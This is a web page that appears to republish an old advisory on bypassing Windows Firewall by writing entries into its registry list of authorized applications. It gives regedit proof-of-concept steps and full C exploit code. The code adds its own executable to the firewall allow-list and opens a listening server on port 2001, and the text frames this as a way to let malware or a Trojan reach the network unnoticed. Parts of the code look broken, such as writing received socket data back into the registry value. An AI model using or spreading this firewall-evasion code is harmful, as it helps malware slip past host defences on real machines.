Bypassing Windows Firewall

Bypassing Windows Firewall :-

There is a technique using which we can bypass windows firewall.
This techniques is nothing but the vulnerability found in windows firewall.
This is explained here in detail with exploit code.

Windows Firewall Bypassing (Registry Based) :- Microsoft Windows comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

Credit :-
The information has been provided by Mark Kica.
The original article can be found at: http://taekwondo-itf.szm.sk/bugg.zip

Vulnerable Systems :-
* Microsoft Windows

Windows Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.

If an attacker adds a new key to the registry address of HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List, the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept :-
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Exploit :-

#include <stdio.h>
#include <windows.h>
#include <ezsocket.h>
#include <conio.h>
#include "Shlwapi.h"

int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];

HKEY hKey;
int i;

GetModuleFileName(NULL, filename, 1024);

strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");

RegOpenKeyEx(

HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);

RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;

fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
fprintf(stdout, "Dedicated to Katka H. from Levoca \n");

sleep(3);

if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;

for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
fprintf(stdout, "Sended: Hello World\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

if (!strcmp(buffer, "quit"))
break;
}

ezsocket_exit();
return 0;
}

/* EoF */